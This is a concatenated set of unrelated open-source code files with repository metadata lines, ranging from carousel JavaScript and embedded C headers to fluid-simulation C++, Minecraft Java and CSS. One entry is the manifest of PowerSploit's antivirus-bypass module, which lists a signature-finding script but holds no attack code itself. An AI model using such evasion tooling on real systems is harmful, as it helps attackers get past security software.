if (!_.dragging || _.scrolling || touches && touches.length !== 1) {
return false;
}
curLeft = _.getLeft(_.currentSlide);
_.touchObject.curX = touches !== undefined ? touches[0].pageX : event.clientX;
_.touchObject.curY = touches !== undefined ? touches[0].pageY : event.clientY;
_.touchObject.swipeLength = Math.round(Math.sqrt(
Math.pow(_.touchObject.curX - _.touchObject.startX, 2)));
verticalSwipeLength = Math.round(Math.sqrt(
Math.pow(_.touchObject.curY - _.touchObject.startY, 2)));
if (!_.options.verticalSwiping && !_.swiping && verticalSwipeLength > 4) {
_.scrolling = true;
return false;
}
if (_.options.verticalSwiping === true) {
_.touchObject.swipeLength = verticalSwipeLength;
}
swipeDirection = _.swipeDirection();
if (event.originalEvent !== undefined && _.touchObject.swipeLength > 4) {
_.swiping = true;
event.preventDefault();
}
positionOffset = (_.options.rtl === false ? 1 : -1) * (_.touchObject.curX > _.touchObject.startX ? 1 : -1);
if (_.options.verticalSwiping === true) {
positionOffset = _.touchObject.curY > _.touchObject.startY ? 1 : -1;
}
swipeLength = _.touchObject.swipeLength;
_.touchObject.edgeHit = false;
if (_.options.infinite === false) {
if ((_.currentSlide === 0 && swipeDirection === 'right') || (_.currentSlide >= _.getDotCount() && swipeDirection === 'left')) {
swipeLength = _.touchObject.swipeLength * _.options.edgeFriction;
_.touchObject.edgeHit = true;
}
}
if (_.options.vertical === false) {
_.swipeLeft = curLeft + swipeLength * positionOffset;
} else {
_.swipeLeft = curLeft + (swipeLength * (_.$list.height() / _.listWidth)) * positionOffset;
}
if (_.options.verticalSwiping === true) {
_.swipeLeft = curLeft + swipeLength * positionOffset;
}
if (_.options.fade === true || _.options.touchMove === false) {
return false;
}
if (_.animating === true) {
_.swipeLeft = null;
return false;
}
_.setCSS(_.swipeLeft);
};
Slick.prototype.swipeStart = function(event) {
var _ = this,
touches;
_.interrupted = true;
if (_.touchObject.fingerCount !== 1 || _.slideCount <= _.options.slidesToShow) {
_.touchObject = {};
return false;
}
if (event.originalEvent !== undefined && event.originalEvent.touches !== undefined) {
touches = event.originalEvent.touches[0];
}
_.touchObject.startX = _.touchObject.curX = touches !== undefined ? touches.pageX : event.clientX;
_.touchObject.startY = _.touchObject.curY = touches !== undefined ? touches.pageY : event.clientY;
_.dragging = true;
};
Slick.prototype.unfilterSlides = Slick.prototype.slickUnfilter = function() {
var _ = this;
if (_.$slidesCache !== null) {
_.unload();
_.$slideTrack.children(this.options.slide).detach();
_.$slidesCache.appendTo(_.$slideTrack);
_.reinit();
}
};
Slick.prototype.unload = function() {
var _ = this;
$('.slick-cloned', _.$slider).remove();
if (_.$dots) {
_.$dots.remove();
}
if (_.$prevArrow && _.htmlExpr.test(_.options.prevArrow)) {
_.$prevArrow.remove();
}
if (_.$nextArrow && _.htmlExpr.test(_.options.nextArrow)) {
_.$nextArrow.remove();
}
_.$slides
.removeClass('slick-slide slick-active slick-visible slick-current')
.attr('aria-hidden', 'true')
.css('width', '');
};
Slick.prototype.unslick = function(fromBreakpoint) {
var _ = this;
_.$slider.trigger('unslick', [_, fromBreakpoint]);
_.destroy();
};
Slick.prototype.updateArrows = function() {
var _ = this,
centerOffset;
centerOffset = Math.floor(_.options.slidesToShow / 2);
if ( _.options.arrows === true &&
_.slideCount > _.options.slidesToShow &&
!_.options.infinite ) {
_.$prevArrow.removeClass('slick-disabled').attr('aria-disabled', 'false');
_.$nextArrow.removeClass('slick-disabled').attr('aria-disabled', 'false');
if (_.currentSlide === 0) {
_.$prevArrow.addClass('slick-disabled').attr('aria-disabled', 'true');
_.$nextArrow.removeClass('slick-disabled').attr('aria-disabled', 'false');
} else if (_.currentSlide >= _.slideCount - _.options.slidesToShow && _.options.centerMode === false) {
_.$nextArrow.addClass('slick-disabled').attr('aria-disabled', 'true');
_.$prevArrow.removeClass('slick-disabled').attr('aria-disabled', 'false');
} else if (_.currentSlide >= _.slideCount - 1 && _.options.centerMode === true) {
_.$nextArrow.addClass('slick-disabled').attr('aria-disabled', 'true');
_.$prevArrow.removeClass('slick-disabled').attr('aria-disabled', 'false');
}
}
};
Slick.prototype.updateDots = function() {
var _ = this;
if (_.$dots !== null) {
_.$dots
.find('li')
.removeClass('slick-active')
.end();
_.$dots
.find('li')
.eq(Math.floor(_.currentSlide / _.options.slidesToScroll))
.addClass('slick-active');
}
};
Slick.prototype.visibility = function() {
var _ = this;
if ( _.options.autoplay ) {
if ( document[_.hidden] ) {
_.interrupted = true;
} else {
_.interrupted = false;
}
}
};
$.fn.slick = function() {
var _ = this,
opt = arguments[0],
args = Array.prototype.slice.call(arguments, 1),
l = _.length,
i,
ret;
for (i = 0; i < l; i++) {
if (typeof opt == 'object' || typeof opt == 'undefined')
_[i].slick = new Slick(_[i], opt);
else
ret = _[i].slick[opt].apply(_[i].slick, args);
if (typeof ret != 'undefined') return ret;
}
return _;
};
$( document ).ready(function() {
$( '.exopite-multifilter-items.slick-carousel' ).each(function ( idx, item ) {
var carouselId = "slick-carousel" + idx;
var data = $( this ).parent( '.exopite-multifilter-container' ).data( 'carousel' );
if ( typeof data !== "undefined" ) {
this.id = carouselId;
$( this ).slick({
autoplay: ( data.autoplay === 'false' ) ? false : true,
arrows: ( data.arrows === 'false' ) ? false : true,
autoplaySpeed: data.autoplay_speed,
infinite: ( data.infinite === 'false' ) ? false : true,
speed: parseInt( data.speed ),
pauseOnHover: ( data.pause_on_hover === 'false' ) ? false : true,
dots: ( data.dots === 'false' ) ? false : true,
adaptiveHeight: ( data.adaptive_height === 'false' ) ? false : true,
mobileFirst: ( data.mobile_first === 'false' ) ? false : true,
slidesPerRow: parseInt( data.slides_per_row ),
slidesToShow: parseInt( data.slides_to_show ),
slidesToScroll: parseInt( data.slides_to_scroll ),
useTransform: ( data.use_transform === 'false' ) ? false : true,
});
}
});
});
}));
| JoeSz/exopite-multifilter | exopite-multifilter/public/js/slick.dev.js | JavaScript | gpl-3.0 | 90,524 |
/*******************************************************************************************************************************************************
* Copyright ¨Ï 2016 <WIZnet Co.,Ltd.>
* Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ¡°Software¡±),
* to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
* THE SOFTWARE IS PROVIDED ¡°AS IS¡±, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*********************************************************************************************************************************************************/
/**
******************************************************************************
* @file ADC/Illumination_RGBLED/W7500x_it.h
* @author IOP Team
* @version V1.0.0
* @date 26-AUG-2015
* @brief This file contains the headers of the interrupt handlers.
******************************************************************************
* @attention
*
* THE PRESENT FIRMWARE WHICH IS FOR GUIDANCE ONLY AIMS AT PROVIDING CUSTOMERS
* WITH CODING INFORMATION REGARDING THEIR PRODUCTS IN ORDER FOR THEM TO SAVE
* TIME. AS A RESULT, WIZnet SHALL NOT BE HELD LIABLE FOR ANY
* DIRECT, INDIRECT OR CONSEQUENTIAL DAMAGES WITH RESPECT TO ANY CLAIMS ARISING
* FROM THE CONTENT OF SUCH FIRMWARE AND/OR THE USE MADE BY CUSTOMERS OF THE
* CODING INFORMATION CONTAINED HEREIN IN CONNECTION WITH THEIR PRODUCTS.
*
* <h2><center>© COPYRIGHT 2015 WIZnet Co.,Ltd.</center></h2>
******************************************************************************
*/
/* Define to prevent recursive inclusion -------------------------------------*/
#ifndef __W7500X_IT_H
#define __W7500X_IT_H
#ifdef __cplusplus
extern "C" {
#endif
/* Includes ------------------------------------------------------------------*/
#include "W7500x.h"
/* Exported types ------------------------------------------------------------*/
/* Exported constants --------------------------------------------------------*/
/* Exported macro ------------------------------------------------------------*/
/* Exported functions ------------------------------------------------------- */
void NMI_Handler(void);
void HardFault_Handler(void);
void SVC_Handler(void);
void PendSV_Handler(void);
void SysTick_Handler(void);
void SSP0_Handler(void);
void SSP1_Handler(void);
void UART0_Handler(void);
void UART0_Handler(void);
void UART1_Handler(void);
void UART2_Handler(void);
void I2C0_Handler(void);
void I2C1_Handler(void);
void PORT0_Handler(void);
void PORT1_Handler(void);
void PORT2_Handler(void);
void DMA_Handler(void);
void DUALTIMER0_Handler(void);
void DUALTIMER1_Handler(void);
void PWM0_Handler(void);
void PWM1_Handler(void);
void PWM2_Handler(void);
void PWM3_Handler(void);
void PWM4_Handler(void);
void PWM5_Handler(void);
void PWM6_Handler(void);
void PWM7_Handler(void);
void ADC_Handler(void);
void WZTOE_Handler(void);
void EXTI_Handler(void);
#endif /* __W7500X_IT_H */
/******************* (C) COPYRIGHT 2015 WIZnet Co.,Ltd. *****END OF FILE****/
| arm8686/W7500P-Tau | W7500P-Tau-FW/Projects/Peripheral_Examples/ADC/Illumination_RGBLED/W7500x_it.h | C | gpl-3.0 | 3,886 |
namespace BarionClientLibrary.Operations.Common
{
public class ShippingAddress
{
public string Country { get; set; }
public string City { get; set; }
public string Region { get; set; }
public string Zip { get; set; }
public string Street { get; set; }
public string Street2 { get; set; }
public string Street3 { get; set; }
public string FullName { get; set; }
}
}
| szelpe/barion-dotnet | BarionClientLibrary/Operations/Common/ShippingAddress.cs | C# | gpl-3.0 | 444 |
/*
* Moondust, a free game engine for platform game making
* Copyright (c) 2014-2019 Vitaly Novichkov <[email protected]>
*
* This software is licensed under a dual license system (MIT or GPL version 3 or later).
* This means you are free to choose with which of both licenses (MIT or GPL version 3 or later)
* you want to use this software.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* You can see text of MIT license in the LICENSE.mit file you can see in Engine folder,
* or see https://mit-license.org/.
*
* You can see text of GPLv3 license in the LICENSE.gpl3 file you can see in Engine folder,
* or see <http://www.gnu.org/licenses/>.
*/
#ifndef OBJ_NPC_H
#define OBJ_NPC_H
#include <string>
#include <common_features/size.h>
#include <ConfigPackManager/level/config_npc.h>
#include "../graphics/graphics.h"
#include "spawn_effect_def.h"
// //Defines:// //
// obj_npc //
// npc_Markers //
// //////////// //
struct obj_npc
{
/* OpenGL */
bool isInit;
PGE_Texture *image;
GLuint textureID;
int textureArrayId;
int animator_ID;
PGE_Size image_size;
/* OpenGL */
//! Generic NPC settings and parameters
NpcSetup setup;
SpawnEffectDef effect_1_def;
SpawnEffectDef effect_2_def;
enum blockSpawn
{
spawn_warp = 0,
spawn_bump
};
//!Type of NPC spawn from block
unsigned int block_spawn_type;
//!NPC's initial Y Velocity after spawn from block
double block_spawn_speed;
//!Play sound on spawn from block (if false - spawn without 'radish' sound)
bool block_spawn_sound;
};
struct NPC_GlobalSetup
{
// ;Defines for SMBX64
uint64_t bubble; // bubble=283 ; NPC-Container for packed in bubble
uint64_t egg; // egg=96 ; NPC-Container for packed in egg
uint64_t lakitu; // lakitu=284 ; NPC-Container for spawn by lakitu
uint64_t buried; // burred=91 ; NPC-Container for packed in herb
uint64_t ice_cube; // icecube=263 ; NPC-Container for frozen NPCs
// ;markers
uint64_t iceball; // iceball=265
uint64_t fireball; // fireball=13
uint64_t hammer; // hammer=171
uint64_t boomerang;// boomerang=292
uint64_t coin_in_block; // coin-in-block=10
// some physics settings
double phs_gravity_accel;
double phs_max_fall_speed;
//effects
uint64_t eff_lava_burn; //Lava burn effect [Effect to spawn on contact with lava]
//projectile properties
SpawnEffectDef projectile_effect;
uint64_t projectile_sound_id;
double projectile_speed;
//Talking NPC's properties
std::string talking_sign_img;
};
#endif // OBJ_NPC_H
| Wohlhabend-Networks/PGE-Project | Engine/data_configs/obj_npc.h | C | gpl-3.0 | 2,920 |
-----------------------------------
-- Catastrophe
-- Scythe weapon skill
-- Skill Level: N/A
-- Drain target's HP. Bec de Faucon/Apocalypse: Additional effect: Haste
-- This weapon skill is available with the stage 5 relic Scythe Apocalypse or within Dynamis with the stage 4 Bec de Faucon.
-- Also available without Aftermath effects with the Crisis Scythe. After 13 weapon skills have been used successfully, gives one "charge" of Catastrophe.
-- Aligned with the Shadow Gorget & Soil Gorget.
-- Aligned with the Shadow Belt & Soil Belt.
-- Element: None
-- Modifiers: INT:40% ; AGI:40%
-- 100%TP 200%TP 300%TP
-- 2.75 2.75 2.75
-----------------------------------
require("scripts/globals/status");
require("scripts/globals/settings");
require("scripts/globals/weaponskills");
-----------------------------------
function onUseWeaponSkill(player, target, wsID, tp, primary)
local params = {};
params.numHits = 1;
params.ftp100 = 2.75; params.ftp200 = 2.75; params.ftp300 = 2.75;
params.str_wsc = 0.40; params.dex_wsc = 0.0; params.vit_wsc = 0.0; params.agi_wsc = 0.0; params.int_wsc = 0.4; params.mnd_wsc = 0.0; params.chr_wsc = 0.0;
params.crit100 = 0.0; params.crit200 = 0.0; params.crit300 = 0.0;
params.canCrit = false;
params.acc100 = 0.0; params.acc200= 0.0; params.acc300= 0.0;
params.atkmulti = 1;
if (USE_ADOULIN_WEAPON_SKILL_CHANGES == true) then
params.str_wsc = 0.4; params.agi_wsc = 0.0; params.int_wsc = 0.4;
end
local damage, criticalHit, tpHits, extraHits = doPhysicalWeaponskill(player, target, wsID, params, tp, primary);
-- TODO: Whoever codes those level 85 weapons with the latent that grants this WS needs to code a check to not give the aftermath effect.
if (damage > 0) then
local amDuration = 20 * math.floor(tp/100);
player:addStatusEffect(EFFECT_AFTERMATH, 100, 0, amDuration, 0, 6);
end
if (target:isUndead() == false) then
local drain = (damage * 0.4);
player:addHP(drain);
end
return tpHits, extraHits, criticalHit, damage;
end | Fenix-XI/Fenix | scripts/globals/weaponskills/catastrophe.lua | Lua | gpl-3.0 | 2,090 |
/*! \file st.h
\brief Class representing FPU's ST register.
*/
#ifdef ST_H
#error Already included
#else
#define ST_H
class st: public reg
{
public:
st();
st(std::string const &name);
~st();
st &operator()(size_t i);
std::string name() const override;
private:
std::string const m_name;
public:
st(const st &instance) = default;
st(st &&instance) = default;
st &operator=(const st &instance) = delete;
st &operator=(const st &&instance) = delete;
};
#endif
| aelfimow/cppasm | src/st.h | C | gpl-3.0 | 559 |
#include <iostream>
#include <stdexcept>
#include <vector>
#include "latticeBase.hpp"
#include "collisionBase.hxx"
#include "latticeNode.hxx"
#include "latticeModel.hxx"
#include "ZouHeNode.hpp"
#include "latticeNode.hxx"
ZouHeNode::ZouHeNode
(
latticeBase &lb,
collisionBase &cb,
latticeModelD2Q9 &D2Q9,
fluidField &field
)
: boundaryNode(false, false, lb),
nodes {},
cb_ (cb),
is_normal_flow_ {false},
beta1_ {},
beta2_ {},
beta3_ {},
D2Q9_ (D2Q9),
field_ (field)
{
const auto c = lb_.getLatticeSpeed();
const auto cs_sqr = c * c / 3.0;
beta1_ = c / (9.0 *cs_sqr);
beta2_ = 0.5 / c;
beta3_ = beta2_ - beta1_;
}
void ZouHeNode::addNode
(
std::size_t x,
std::size_t y,
double u_x,
double u_y
)
{
const auto nx = lb_.getNumberOfNx();
const auto ny = lb_.getNumberOfNy();
const auto n = y * nx + x;
const auto left = x == 0;
const auto right = x == nx - 1;
const auto bottom = y == 0;
const auto top = y == ny - 1;
auto edge_i = -1;
if (right) edge_i = 0;
if (top) edge_i = 1;
if (left) edge_i = 2;
if (bottom) edge_i = 3;
// adds a corner node
if ((top || bottom) && (left || right))
{
auto corner_i = -1;
if (bottom && left) corner_i = 0;
if (bottom && right) corner_i = 1;
if (top && left) corner_i = 2;
if (top && right) corner_i = 3;
nodes.push_back(latticeNode(x, y, n, u_x, u_y, true, corner_i));
}
// adds a side node
else
{
nodes.push_back(latticeNode(x, y, n, u_x, u_y, false, edge_i));
}
}
void ZouHeNode::updateNode
(
std::vector<std::vector<double>> &df,
bool is_modify_stream
)
{
if (!is_modify_stream)
{
for (auto node : nodes)
{
if (node.corner)
{
ZouHeNode::updateCorner(df, node);
}
else
{
ZouHeNode::updateEdge(df, node);
}
} // n
}
}
void ZouHeNode::updateEdge
(
std::vector<std::vector<double>> &df,
latticeNode &node
)
{
const auto n = node.n_node;
const auto nx = lb_.getNumberOfNx();
const auto c = lb_.getLatticeSpeed();
switch(node.index_i)
{
case 0:
{ // right
auto vel = is_normal_flow_ ? field_.u[n - 1] : node.u_node;
const auto rho_node = (df[n][0] + df[n][D2Q9_.N] + df[n][D2Q9_.S] + 2.0 * (df[n][D2Q9_.E] +
df[n][D2Q9_.NE] + df[n][D2Q9_.SE])) / (1.0 + vel[0] / c);
const auto df_diff = 0.5 * (df[n][D2Q9_.S] - df[n][D2Q9_.N]);
for (auto &u : vel) u *= rho_node;
df[n][D2Q9_.W] = df[n][D2Q9_.E] - 2.0 * beta1_ * vel[0];
df[n][D2Q9_.NW] = df[n][D2Q9_.SE] + df_diff - beta3_ * vel[0] + beta2_ * vel[1];
df[n][D2Q9_.SW] = df[n][D2Q9_.NE] - df_diff - beta3_ * vel[0] - beta2_ * vel[1];
break;
}
case 1:
{ // top
auto vel = is_normal_flow_ ? field_.u[n - nx] : node.u_node;
const auto rho_node = (df[n][0] + df[n][D2Q9_.E] + df[n][D2Q9_.W] + 2.0 * (df[n][D2Q9_.N] +
df[n][D2Q9_.NE] + df[n][D2Q9_.NW])) / (1.0 + vel[1] / c);
const auto df_diff = 0.5 * (df[n][D2Q9_.E] - df[n][D2Q9_.W]);
for (auto &u : vel) u *= rho_node;
df[n][D2Q9_.S] = df[n][D2Q9_.N] - 2.0 * beta1_ * vel[1];
df[n][D2Q9_.SW] = df[n][D2Q9_.NE] + df_diff - beta2_ * vel[0] - beta3_ * vel[1];
df[n][D2Q9_.SE] = df[n][D2Q9_.NW] - df_diff + beta2_ * vel[0] - beta3_ * vel[1];
break;
}
case 2:
{ // left
auto vel = is_normal_flow_ ? field_.u[n + 1] : node.u_node;
const auto rho_node = (df[n][0] + df[n][D2Q9_.N] + df[n][D2Q9_.S] + 2.0 * (df[n][D2Q9_.W] +
df[n][D2Q9_.NW] + df[n][D2Q9_.SW])) / (1.0 - vel[0] / c);
const auto df_diff = 0.5 * (df[n][D2Q9_.S] - df[n][D2Q9_.N]);
for (auto &u : vel) u *= rho_node;
df[n][D2Q9_.E] = df[n][D2Q9_.W] + 2.0 * beta1_ * vel[0];
df[n][D2Q9_.NE] = df[n][D2Q9_.SW] + df_diff + beta3_ * vel[0] + beta2_ * vel[1];
df[n][D2Q9_.SE] = df[n][D2Q9_.NW] - df_diff + beta3_ * vel[0] - beta2_ * vel[1];
break;
}
case 3:
{ // bottom
auto vel = is_normal_flow_ ? field_.u[n + nx] : node.u_node;
const auto rho_node = (df[n][0] + df[n][D2Q9_.E] + df[n][D2Q9_.W] + 2.0 * (df[n][D2Q9_.S] +
df[n][D2Q9_.SW] + df[n][D2Q9_.SE])) / (1.0 - vel[1] / c);
const auto df_diff = 0.5 * (df[n][D2Q9_.W] - df[n][D2Q9_.E]);
for (auto &u : vel) u *= rho_node;
df[n][D2Q9_.N] = df[n][D2Q9_.S] + 2.0 * beta1_ * vel[1];
df[n][D2Q9_.NE] = df[n][D2Q9_.SW] + df_diff + beta2_ * vel[0] + beta3_ * vel[1];
df[n][D2Q9_.NW] = df[n][D2Q9_.SE] - df_diff - beta2_ * vel[0] + beta3_ * vel[1];
break;
}
default:
{
throw std::runtime_error("Not a side");
}
}
}
void ZouHeNode::updateCorner
(
std::vector<std::vector<double>> &df,
latticeNode &node
)
{
const auto n = node.n_node;
auto vel = node.u_node;
const auto nx = lb_.getNumberOfNx();
const auto nc = lb_.getNumberOfDirections();
switch (node.index_i)
{
case 0:
{ // bottom-left
auto rho_node = 0.5 * (cb_.rho_[n + nx] + cb_.rho_[n + 1]);
for (auto &u : vel) u *= rho_node;
df[n][D2Q9_.E] = df[n][D2Q9_.W] + 2.0 * beta1_ * vel[0];
df[n][D2Q9_.N] = df[n][D2Q9_.S] + 2.0 * beta1_ * vel[1];
df[n][D2Q9_.NE] = df[n][D2Q9_.SW] + 0.5 * beta1_ * vel[0] + 0.5 * beta1_ * vel[1];
df[n][D2Q9_.NW] = -0.5 * beta3_ * vel[0] + 0.5 * beta3_ * vel[1];
df[n][D2Q9_.SE] = 0.5 * beta3_ * vel[0] - 0.5 * beta3_ * vel[1];
for (auto i = 1u; i < nc; ++i) rho_node -= df[n][i];
df[n][0] = rho_node;
break;
}
case 1:
{ // bottom-right
auto rho_node = 0.5 * (cb_.rho_[n + nx] + cb_.rho_[n - 1]);
for (auto &u : vel) u *= rho_node;
df[n][D2Q9_.W] = df[n][D2Q9_.E] - 2.0 * beta1_ * vel[0];
df[n][D2Q9_.N] = df[n][D2Q9_.S] + 2.0 * beta1_ * vel[1];
df[n][D2Q9_.NW] = df[n][D2Q9_.SE] - 0.5 * beta1_ * vel[0] + 0.5 * beta1_ * vel[1];
df[n][D2Q9_.NE] = 0.5 * beta3_ * vel[0] + 0.5 * beta3_ * vel[1];
df[n][D2Q9_.SW] = -0.5 * beta3_ * vel[0] - 0.5 * beta3_ * vel[1];
for (auto i = 1u; i < nc; ++i) rho_node -= df[n][i];
df[n][0] = rho_node;
break;
}
case 2:
{ // top-left
auto rho_node = 0.5 * (cb_.rho_[n - nx] + cb_.rho_[n + 1]);
for (auto &u : vel) u *= rho_node;
df[n][D2Q9_.E] = df[n][D2Q9_.W] + 2.0 * beta1_ * vel[0];
df[n][D2Q9_.S] = df[n][D2Q9_.N] - 2.0 * beta1_ * vel[1];
df[n][D2Q9_.SE] = df[n][D2Q9_.NW] + 0.5 * beta1_ * vel[0] - 0.5 * beta1_ * vel[1];
df[n][D2Q9_.NE] = 0.5 * beta3_ * vel[0] + 0.5 * beta3_ * vel[1];
df[n][D2Q9_.SW] = -0.5 * beta3_ * vel[0] - 0.5 * beta3_ * vel[1];
for (auto i = 1u; i < nc; ++i) rho_node -= df[n][i];
df[n][0] = rho_node;
break;
}
case 3:
{ // top-right
auto rho_node = 0.5 * (cb_.rho_[n - nx] + cb_.rho_[n - 1]);
for (auto &u : vel) u *= rho_node;
df[n][D2Q9_.W] = df[n][D2Q9_.E] - 2.0 * beta1_ * vel[0];
df[n][D2Q9_.S] = df[n][D2Q9_.N] - 2.0 * beta1_ * vel[1];
df[n][D2Q9_.SW] = df[n][D2Q9_.NE] - 0.5 * beta1_ * vel[0] - 0.5 * beta1_ * vel[1];
df[n][D2Q9_.NW] = -0.5 * beta3_ * vel[0] + 0.5 * beta3_ * vel[1];
df[n][D2Q9_.SE] = 0.5 * beta3_ * vel[0] - 0.5 * beta3_ * vel[1];
for (auto i = 1u; i < nc; ++i) rho_node -= df[n][i];
df[n][0] = rho_node;
break;
}
default:
{
throw std::runtime_error("Not a corner");
}
}
}
void ZouHeNode::toggleNormalFlow()
{
is_normal_flow_ = true;
}
| zhishang72/OpenLBM | src/ZouHeNode.cpp | C++ | gpl-3.0 | 8,375 |
package net.minecraft.server;
import java.io.IOException;
public class PacketPlayOutEntityHeadRotation implements Packet<PacketListenerPlayOut> {
private int a;
private byte b;
public PacketPlayOutEntityHeadRotation() {}
public PacketPlayOutEntityHeadRotation(Entity entity, byte b0) {
this.a = entity.getId();
this.b = b0;
}
public void a(PacketDataSerializer packetdataserializer) throws IOException {
this.a = packetdataserializer.g();
this.b = packetdataserializer.readByte();
}
public void b(PacketDataSerializer packetdataserializer) throws IOException {
packetdataserializer.d(this.a);
packetdataserializer.writeByte(this.b);
}
public void a(PacketListenerPlayOut packetlistenerplayout) {
packetlistenerplayout.a(this);
}
}
| bergerkiller/SpigotSource | src/main/java/net/minecraft/server/PacketPlayOutEntityHeadRotation.java | Java | gpl-3.0 | 839 |
@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'AntivirusBypass.psm1'
# Version number of this module.
ModuleVersion = '3.0.0.0'
# ID used to uniquely identify this module
GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'
# Author of this module
Author = 'Matthew Graeber'
# Copyright statement for this module
Copyright = 'BSD 3-Clause'
# Description of the functionality provided by this module
Description = 'PowerSploit Antivirus Avoidance/Bypass Module'
# Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '2.0'
# Functions to export from this module
FunctionsToExport = '*'
# List of all files packaged with this module
FileList = 'AntivirusBypass.psm1', 'AntivirusBypass.psd1', 'Find-AVSignature.ps1', 'Usage.md'
}
| hackersql/sq1map | Web/PowerShell/Tools/PowerSploit/AntivirusBypass/AntivirusBypass.psd1 | PowerShell | gpl-3.0 | 814 |
@charset "utf-8";
/* CSS Document */
*{margin:0;padding:0;}
ul{list-style:none;}
a{text-decoration:none;}
img,input,textarea{border:none;}
.clear{clear:both;}
::-moz-selection{background:#41EC49;}
::selection{background:#41EC49;}
@font-face{
font-family:ziti;
src:url(../fonts/Munro.eot),url(../fonts/Munro.otf),url(../fonts/Munro.svg),url(../fonts/Munro.ttf),url(../fonts/Munro.woff);
}
@keyframes sunny{
0%{text-shadow:0 0 0 #fff;}
25%{text-shadow:0 0 10px rgba(255,255,255,1);}
50%{text-shadow:0 0 10px rgba(255,255,255,1),0 0 20px rgba(255,255,255,1);}
75%{text-shadow:0 0 10px rgba(255,255,255,1);}
100%{text-shadow:0 0 0 #fff;}
}
.inner{width:1000px;margin:0 auto;}
header{width:100%;background-color:#e5e5e5;}
header .logo{float:left;font-family:ziti;color:#49879e;font-size:37px;line-height:101px;padding-top:9px;}
header i{margin-right:21px;}
header .nav{float:right;padding-top:36px;}
.one{background-image:linear-gradient(45deg,#9dc66a 5%,#4fa59a 30%,#4361c3);}
.one .inner{text-align:center;padding:100px 0;}
.one .icon i{font-size:80px;color:#fff;animation:sunny 5s infinite linear;}
.one h1{font:36px/60px arial;color:#fff;padding-bottom:14px;}
.one h1 span{font-weight:bolder;}
.one h1 a{color:#fff;border-bottom:1px dotted #fff;position:relative;}
.one h1 a:before{content:"";color:#fff;border-bottom:1px dotted #fff;position:absolute;width:100%;top:100%;left:0;opacity:0;transition:all 0.7s;}
.one h1 a:hover:before{top:0;left:0;opacity:1;}
.one p{padding-bottom:33px;font:18px/40px arial;color:#fff;}
.one .btn a{display:inline-block;width:175px;height:50px;border:1px solid #fff;line-height:50px;font-size:21px;color:#fff;border-radius:4px;text-transform:uppercase;position:relative;transition:all 1s;}
.one .btn a:after{content:"";background-color:#fff;width:1px;height:100px;position:absolute;top:51px;left:50%;}
.one .btn a:hover{padding:0 30px;background-color:rgba(255,255,255,.5);}
.two{background-color:#eaf9fe;padding:104px 0 127px 0;}
.two .icon_list{float:left;width:500px;}
.two .icon_list li{display:inline-block;border:1px solid #6e98ae;border-radius:4px;margin:40px;transform:rotate(45deg);overflow:hidden;transition:all 0.7s;}
.two .icon_list li:hover{background-color:#31D7D4;}
.two .icon_list li a{display:inline-block;width:140px;height:140px;text-align:center;line-height:140px;font-size:60px;transform:rotate(-45deg);transition:all 0.7s;}
.two .icon_list li:nth-child(1) a{color:#c3e6a2;}
.two .icon_list li:nth-child(1):hover a{transform:rotate(-45deg) scale(1.8);}
.two .icon_list li:nth-child(2) a{color:#86d9ab;}
.two .icon_list li:nth-child(2):hover a{transform:rotate(315deg);}
.two .icon_list li:nth-child(3) a{color:#6cd4c9;}
.two .icon_list li:nth-child(3):hover a{transform:rotate(-45deg) skewX(45deg);}
.two .icon_list li:nth-child(4) a{color:#5fb3d8;}
.two .icon_list li:nth-child(4):hover a{transform:rotate(180deg) scale(1.8)}
.two .icon_list li:nth-child(5) a{color:#4e84ce;}
.two .icon_list li:nth-child(5):hover a{transform:rotate(-45deg) scale(0.5);}
.two .icon_list li:nth-child(6) a{color:#6c87f0;}
.two .icon_list li:nth-child(6):hover a{transform:rotate(-45deg) translateY(-20px);}
.two .icon_list li a:hover i{color:#fff;text-shadow:0 0 10px #fff;}
.two .text{float:right;width:500px;}
.two .text h2{font:30px/52px arial;font-weight:bolder;color:#45899c;position:relative;padding-bottom:57px;}
.two .text h2:after{content:"";width:160px;height:1px;background-color:#4984a2;position:absolute;top:130px;left:0;}
.two .text p{font:15px/32px arial;padding-top:31px;}
footer{background-image:linear-gradient(45deg,#9dc66a 5%,#4fa59a 30%,#4361c3);padding:51px 0;text-align:center;}
footer .icon ul li{display:inline-block;transition:all 0.7s;}
footer .icon ul li:nth-child(1):hover{transform:scale(1.8);}
footer .icon ul li:nth-child(2):hover{transform:scale(1.8) rotate(360deg);}
footer .icon ul li:nth-child(3):hover{transform:scale(0.8) skewX(45deg);}
footer .icon ul li:nth-child(4):hover{transform:scale(1.8) translateY(-20px);}
footer .icon ul li:nth-child(5):hover{transform:scale(0.8) translateY(20px);}
footer i{padding:0 14px 21px 14px;color:#fff;font-size:20px !important;}
footer p{font:16px/23px "宋体";color:#00000d;}
footer span{font:13px/16px arial;color:#1a0000;}
footer span a{color:#551b93;border-bottom:1px solid #551b93;} | xmer1220/xmer1220.github.io | resume/works/codepen/css/style.css | CSS | gpl-3.0 | 4,312 |
package cmake.icons;
import com.intellij.openapi.util.IconLoader;
import javax.swing.*;
/**
* Created by alex on 12/21/14.
*/
public class CMakeIcons {
public static final Icon FILE = IconLoader.getIcon("/icons/cmake.png");
public static final Icon MACRO = IconLoader.getIcon("/icons/hashtag.png");
public static final Icon FUN = IconLoader.getIcon("/icons/fun.jpg");
public static final Icon LOOP = IconLoader.getIcon("/icons/loop.png");
}
